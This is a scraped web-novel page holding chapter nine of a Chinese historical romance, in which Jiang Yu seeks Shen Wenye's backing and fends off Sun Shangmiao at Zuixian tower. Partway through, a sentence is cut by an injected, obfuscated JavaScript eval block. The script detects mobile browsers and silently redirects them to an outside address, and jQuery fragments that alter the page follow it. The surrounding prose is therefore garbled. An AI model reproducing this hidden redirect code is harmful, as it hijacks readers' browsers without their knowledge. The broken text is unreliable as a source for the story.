默认冷灰
24号文字
方正启体

9. 第九章

作者:棠下客本书字数:K更新时间:
    这想法太过大胆,把豆蔻吓得半天没回过神来。


    姜瑜之所以这样想,并非一时冲动。她思虑了许多,这满京城中,权势在握的不只他沈闻野一个,可他自小便得陛下圣心,权柄之重,无人能及,就连这盛国公府都免不了要给他三分颜面。


    何况这姜珠处处跟她作对,她越怕什么,自己偏要做什么。当日豆蔻之事,这姜珠怕是添油加醋说给了陈氏听,才引得陈氏兴师动众来西跨院拿人。


    而春晖楼刺杀一事又是实打实的,沈闻野虽疑心孙尚邈,但苦无证据,他此时正缺一个能在暗中助他调查的知情人。


    她知道这个男人疑心重,可先前几次见面,她瞧得出来,沈闻野性子虽冷,该出手时却毫不含糊,不是那等阴险狡诈,心狠手辣之辈。那日春晖楼,他大可以袖手旁观,可他却偏偏出手了。


    再说那张脸,生得确实好看。


    剑眉星目,鼻梁高挺,便是放在京城的男人堆里也是数一数二的,难怪姜珠见了他跟丢了魂似的,整日小侯爷叫着。可平日里总是冷着脸,倒是浪费了这副好皮囊。


    横竖算来,她也不亏。


    她从未想过要同谁共度此生,在她看来,那些情情爱爱不过是画本子里骗人的把戏,在这世上唯一能指望的人,只有自己。


    她要借他的权,借他的势,在这京城站稳脚跟,父母的死,国公府的步步紧逼,还有这世道的不公,她要一点一点讨回来。


    思及此,姜瑜迫不及待站起身来,道:“豆蔻,替我传个口信给陆离,说我有要事与他家小侯爷相商,三日后在醉仙楼中一叙。”


    豆蔻当即心领神会,可又禁不住小声嘀咕:“郡主当真要找那小侯爷?他可不是个好相与的……您也看到了,他对二小姐那般冷淡,况且若是若二小姐知道了,怕是又要来找您的麻烦……”


    这话说得极为保守,谁不知盛国公有意撮合姜珠与沈闻野的婚事,她若是横插一脚,不单是姜珠,怕是整个盛国公府都要同她翻脸。


    可那又如何?陈氏有意磋磨她,又寻衅欲打发了豆蔻去,姜珠几次三番找茬,又将东厢房据为己有,每一件她都记得清楚。


    姜瑜笑了笑:“他们从没将我当成自家人,我又有何顾虑?”


    看来郡主是打定主意了。


    豆蔻没再多言,只默默替姜瑜斟了盏茶,便福身退了出去,出府寻陆离去了。


    *


    三日后,醉仙楼前。


    一只素手撩开帏帘,腕上玉镯轻晃,一道俏丽身影从帘后探出,提裙上了邀月阁。


    雕花木门被推开,阁内燃着沉水香,案上搁着一方青瓷香炉,烟气袅袅升起。


    姜瑜迈入屋内,环顾四周,却未瞧见沈闻野的身影,只见陆离侯在屋内,垂首而立,不紧不慢地斟茶,见姜瑜进来,躬身回道:“郡主,请。”


    姜瑜回坐在梨木圈椅上,有一搭没一搭地问:“你家小侯爷呢?”


    她早已料到沈闻野不会轻易赴约,照那人的性子,岂是她一封书帖便能请得动的?


    像是早知姜瑜会这样问,陆离不慌不忙:“小侯爷近日事务繁忙,特意派我与郡主知会一声,郡主若有要事,可直接吩咐于我。”


    这沈闻野果真如她所料。


    只是这事未必这么简单,她也不是好唬弄的主儿。


    听了这话,姜瑜也不急,端起茶盏抿了一口道:“前些日子,小侯爷曾上街将我拦在巷口,我为护着他,被旁人带到这醉仙居。如今我有事与他相商,他为何躲着我不见?”


    这话似带嗔怒,陆离乃是一介武夫,哪禁得住此番盘问,连连摆手,此刻一脸为难:“郡主何必为难我……小侯爷的心思,便是我也无权过问。”


    见陆离一直推脱,一旁的豆蔻却不乐意:“小侯爷若不便前来,大可提前知会郡主一声,怎的让我们郡主白跑一趟,平白费着些力气,竟连小侯爷的面儿也见不上!”


    姜瑜自然知道,沈闻野怎么吩咐,陆离便怎么做,他不过是个传话的,和他再多说也是徒劳。


    可豆蔻那番话,说得不无道理。


    她细细想来,以沈闻野的性子,若他真的不便前来,何不提前谴陆离告知一声,偏到了今日才来这一出。


    再说陆离那头,沈闻野只吩咐他应付两句,其余莫要多言。可这姜瑜如此难缠,连她身边的丫鬟也不是个省油的灯,凭他一人又如何招架得住?


    正待他不知如何回话时,姜瑜忽地站起身来,连话也没多说一句,推门便走。


    陆离又惊又急,满嘴却说不出一句囫囵话,只跟在姜瑜后头,生怕跟丢了似的。


    若是真跟丢了,他该怎么跟他家小侯爷交代!


    这一推门不要紧,只见一道熟悉的身影急匆匆从廊中走过,又不徐不疾折返回来,倒叫姜瑜愣了一愣。


    那人稳住身形,不见半分慌乱,垂眸看向姜瑜:“郡主可否赏脸,移步偏房与在下一叙?”


    这人先前三番五次被她挑弄逗趣,如今却为何忽地转了性子,不躲不藏,反倒主动送上门来了?


    姜瑜想不明白,也懒得费功夫去想。


    她的心里冒出了个主意。


    当着陆离的面,姜瑜嗔笑了几声,软言应道:“孙公子盛情,我怎敢推拒?我现下无事,只当讨杯茶吃。”


    说罢,便随着孙尚邈去了隔壁席间,陆离进也不是退也不是,只留在廊下挨着冷风。


    屋门一关,姜瑜便换了副神情,有意将自己与孙尚邈的距离拉开了些。


    二人一时无言,孙尚邈反倒泰然自若,也不刻意拘着,沉默了片刻,只道:“郡主近日可是忙得很?不见郡主如前些日子那般,邀我品诗吃茶。”


    姜瑜心下疑惑,这孙尚邈今日怎么这般殷勤,先前生怕自己辱了他的名节,如今却这般上赶着凑上来,倒叫她心神不宁。


    罢了,就算不是今日,她也总想着要择日与孙尚邈说个明白。


    姜瑜觑了眼他的脸色,道:“孙公子莫怪。原是我先前鲁莽,一来二去的总拘着你,我实在过意不去,因此今日借这席面,向公子赔个不是,今日花销几何,一应算在我头上即可。”


    见孙尚邈不应,姜瑜继续道:“我近日思来想去,孙公子才德兼优,乃朝中翘楚,自当有大好前程,我不过是一介闲散郡主,名声也算不得好,实在不敢误了公子。”


    “若先前有何误会,还请公子看在国公府的面上,海涵一二。”


    又是从前的姜瑜欠下的旧账。


    她本对孙尚邈无意,此时也不愿与他多作纠缠,只想将话快些讲清楚,好脱身离去。


    可孙尚邈却着实吃了一惊。


    原先这姜瑜甚是霸道,便是吃茶品诗,也只一味顺着自己的心意,从不顾及旁人感受。有一日竟明里暗里揩油,摆明了在打他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463601|201293||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的脸,他当时窘迫不已,恨不得将面前茶盏砸个粉碎。


    可他只是攥着拳头,到底还是忍下去了,指尖捏得泛白,还得端着那副温润模样。


    可今日姜瑜这副样子,一改从前嚣张跋扈之态,倒叫他一时无所适从。


    他心下暗忖,语气却温润如常:“郡主说笑了,你我之间,何必见外。这般急着走,可是嫌茶水不好?”


    姜瑜却只想快些脱身,不愿与他多作纠缠。


    这人甚是奇怪,从前逼迫他时,他避之不及,如今疏远他些许,他反倒换了副面孔。


    不知怎的,姜瑜复又想起,从前沈闻野同她说的春晖楼刺杀一案,她倒是没蠢到提着脖颈等孙尚邈砍的地步,只是这沈闻野……估摸着也快来了。


    孙尚邈上前走了两步,正欲开口,却被一阵敲门声陡然打断。


    “打扰郡主了,沈小侯爷有请,还请您前往屋外一叙。”


    或许是沈闻野的名头压着,孙尚邈脸上的笑微微一僵,到嘴边的话只得咽了回去,侧身让开,只道:“既是小侯爷有请,我便不再叨扰,郡主请便。”


    姜瑜似是寻到了救兵,心口一松,连脚下的步子都走得轻快了几分。


    不知怎的,从前她只在青松书院外见过孙尚邈一次,对他了解甚浅,可今日这番纠缠下来,她才发觉这人瞧着温文尔雅,可偏给她一种无形的压迫感,心头生出说不出的别扭,只想着离他远些。


    屋门推开,姜瑜向上一眺,只见沈闻野立在楼梯拐角处,似是等了许久。


    她疾步走向沈闻野,虽未明言,心里却悄然踏实了许多。


    二人并未寒暄,眼神对上一瞬,便一前一后进了邀月阁。


    见沈闻野迟迟未来,姜瑜不由得多了几分埋怨,可惊惧压过不满,她也顾不得许多:“小侯爷可是让我好等,一个陆离就想打发我不成?”


    沈闻野立在窗前,神色自若,暗自答道:“郡主邀我前来,却又赴了旁人的席,这又是什么道理?”


    若换作旁人,只怕要被沈闻野这张嘴噎个正着,可姜瑜到底没被唬住,本也是他来迟的缘故,才被那孙尚邈截了胡,如今反倒成了她的过错。


    做猫这些年,她虽不曾和人打过太多交道,可沈闻野话中之意,她还算听得出来。


    “小侯爷这话可说错了,我本是一介姑娘家,您迟迟未来,孙公子邀我进去坐坐,我还能推辞不成?”姜瑜压低声音,“况且……我也是为了当日刺杀一案……”


    姜瑜愈发靠近沈闻野,二人距离越拉越近,衣襟几乎相贴,呼吸骤然可闻。


    沈闻野似是没料到姜瑜这般举动,身形微顿,嘴上却未留半分余地。


    “所以郡主约我来此,只是为了兴师问罪?”


    沈闻野的目光径直对上姜瑜,姜瑜有些不自在,却仍硬撑着未移开视线。


    姜瑜没有忘记此行的目的,敛了心神,将方才与孙尚邈周旋的经过拣了要紧的说。


    话毕,她话锋一转:“如今……我在京城步步维艰,还望小侯爷从中相助一二。”


    这话说得笃定,倒让沈闻野一怔,似是没料到她会这般直截了当:“郡主凭什么觉得,我会帮你?”


    “小侯爷当知,你所查之事,只有我才能助你。”


    风穿过屋子,哗啦一声吹响了帷幔,整间屋子氤氲在沉水香中,二人相对而立,香气浮动,满室清幽。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)